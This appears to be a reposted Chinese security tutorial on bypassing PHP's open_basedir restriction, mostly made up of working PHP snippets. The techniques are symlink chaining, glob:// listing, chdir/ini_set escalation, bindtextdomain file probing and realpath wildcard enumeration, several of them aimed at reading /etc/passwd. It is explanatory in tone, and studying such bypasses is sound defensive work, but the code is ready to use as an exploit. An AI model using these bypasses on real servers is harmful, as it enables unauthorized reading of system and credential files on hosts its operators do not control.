bypass_open_basedir


相关文章 & Source & Reference


通过建立软链达成 bypass

<?php

symlink("abc/abc/abc/abc","templink2");
symlink("templink2/../../../../../etc/passwd","exploit");
unlink("templink2");
mkdir("templink2");

?>

首先是创建一个 link,将 tmplink 用相对路径指向 abc/abc/abc/abc,然后再创建一个 link,将 exploit 指向 tmplink/../../../../etc/passwd,此时就相当于 exploit 指向了 abc/abc/abc/abc/../../../../etc/passwd ,也就相当于 exploit 指向了 /etc/passwd ,此时删除 tmplink 文件后再创建 tmplink 目录,此时就变为 /etc/passwd 成功跨目录。

访问 exploit 即可读取到 /etc/passwd


利用 glob

通过查找匹配进行 bypass,不过只能列举根目录下的文件

<?php
$c="glob:///*";
$a=new DirectoryIterator($c);
foreach ($a as $f){
    echo($f->__toString().'<br>');
}
?>

chdir() 与 ini_set()

chdir 是更改当前工作路径

<?php

mkdir('test');
chdir('test');
ini_set('open_basedir','..');
chdir('..');chdir('..');chdir('..');chdir('..');
ini_set('open_basedir','/');
echo file_get_contents('/etc/passwd');

?>

可以用如下代码观察一下其 bypass 过程

<?php

ini_set('open_basedir','/www/wwwroot'.'/tmp');
mkdir('test');
chdir('test');
ini_set('open_basedir','..');
printf('open_basedir : %s </b><br />',ini_get('open_basedir'));
chdir('..');chdir('..');chdir('..');chdir('..');
ini_set('open_basedir','/');
printf('open_basedir : %s </b><br />',ini_get('open_basedir'));
//echo file_get_contents('/etc/passwd');

?>

bindtextdomain

该函数的第二个参数为一个文件路径,先看代码:

<?php

ini_set('open_basedir','/www/wwwroot'.'/tmp');

printf('open_basedir : %s </b><br />',ini_get('open_basedir'));
$re=bindtextdomain('xxx','/etc/passwd');
var_dump($re);
$re=bindtextdomain('xxx','/etc/passw');
var_dump($re);

?>

当文件不存在时返回值为 false,因为不支持通配符,该方法只能适用于 linux 下的暴力猜解文件。


Realpath

同样是基于报错,但 realpath 在 windows 下可以使用通配符 <> 进行列举

<?php

ini_set('open_basedir',dirname(__FILE__));
printf('open_basedir : %s </b><br />',ini_get('open_basedir'));
set_error_handler('isexists');
$dir='d:/1earn/';
$file='';
$chars='abcdefghijklmnopqrstuvwxyz0123456789_';
for ($i=0;$i < strlen($chars);$i++){
    $file=$dir.$chars[$i].'<><';
    realpath($file);
}
function isexists($errno,$errstr){
    $regexp='/File\((.*)\) is not within/';
    preg_match($regexp,$errstr,$matches);
    if (isset($matches[1])){
        printf("%s <br/>",$matches[1]);
    }
}
?>

点击关注,共同学习!
安全狗的自我修养

github haidragon

https://github.com/haidragon

原文地址:http://www.cnblogs.com/haidragon/p/16845591.html

1. 本站所有资源来源于用户上传和网络,如有侵权请邮件联系站长! 2. 分享目的仅供大家学习和交流,请务用于商业用途! 3. 如果你也有好源码或者教程,可以到用户中心发布,分享有积分奖励和额外收入! 4. 本站提供的源码、模板、插件等等其他资源,都不包含技术服务请大家谅解! 5. 如有链接无法下载、失效或广告,请联系管理员处理! 6. 本站资源售价只是赞助,收取费用仅维持本站的日常运营所需! 7. 如遇到加密压缩包,默认解压密码为"gltf",如遇到无法解压的请联系管理员! 8. 因为资源和程序源码均为可复制品,所以不支持任何理由的退款兑现,请斟酌后支付下载 声明:如果标题没有注明"已测试"或者"测试可用"等字样的资源源码均未经过站长测试.特别注意没有标注的源码不保证任何可用性